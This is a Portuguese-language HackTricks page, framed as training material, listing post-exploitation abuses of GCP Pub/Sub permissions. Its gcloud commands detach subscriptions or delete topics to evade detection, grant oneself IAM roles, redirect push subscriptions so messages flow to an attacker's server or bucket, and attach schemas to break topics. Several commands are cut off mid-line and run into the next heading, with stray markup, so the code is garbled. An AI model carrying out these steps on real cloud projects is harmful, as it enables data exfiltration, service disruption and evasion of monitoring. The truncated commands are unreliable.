GCP - Pub/Sub Post Exploitation
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Pub/Sub
Para mais informações sobre Pub/Sub, consulte a seguinte página:
pubsub.topics.publish
Publica uma mensagem em um tópico, útil para enviar dados inesperados e acionar funcionalidades inesperadas ou exploit vulnerabilities:
Publicar mensagem no tópico
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
Útil para impedir que uma subscription receba mensagens, talvez para evitar detecção.
Desanexar a subscription do topic
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
Útil para impedir que uma assinatura receba mensagens, talvez para evitar detecção.
É possível excluir um tópico mesmo com assinaturas anexadas a ele.
Excluir tópico
```bash gcloud pubsub topics deletepubsub.topics.update
Use esta permissão para atualizar alguma configuração do tópico para perturbá-lo, como --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key…
pubsub.topics.setIamPolicy
Conceda a si mesmo permissão para executar qualquer um dos ataques anteriores.
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
Obter todas as mensagens em um servidor web:
Criar push subscription para receber mensagens
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createCrie uma subscription e use-a para recuperar mensagens (pull):
Criar uma subscription pull e recuperar mensagens
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**Excluir uma assinatura** pode ser útil para interromper um sistema de processamento de logs ou algo similar:
<details>
<summary>Excluir assinatura</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Use esta permissão para atualizar alguma configuração para que as mensagens sejam armazenadas em um lugar que você possa acessar (URL, Big Query table, Bucket) ou apenas para causar uma interrupção.
Endpoint de atualização da subscription
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
Conceda a si mesmo as permissões necessárias para executar qualquer um dos ataques mencionados anteriormente.
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
Ataque um schema a um tópico de modo que as mensagens não o satisfaçam e, portanto, o tópico seja interrompido.
Se não houver schemas, pode ser necessário criar um.
Criar arquivo de schema e anexá-lo ao tópico
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Pode parecer que, ao deletar um schema, você poderá enviar mensagens que não cumprem o schema. No entanto, como o schema será deletado, nenhuma mensagem realmente entrará no tópico. Portanto, isto é INÚTIL:
Deletar schema (inútil)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
Conceda a si mesmo as permissões necessárias para executar qualquer um dos ataques comentados anteriormente.
pubsub.snapshots.create, pubsub.snapshots.seek
Isso criará um snapshot de todas as mensagens unACKed e as colocará de volta na subscription. Não é muito útil para um atacante, mas aqui está:
Criar snapshot e fazer seek nele
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

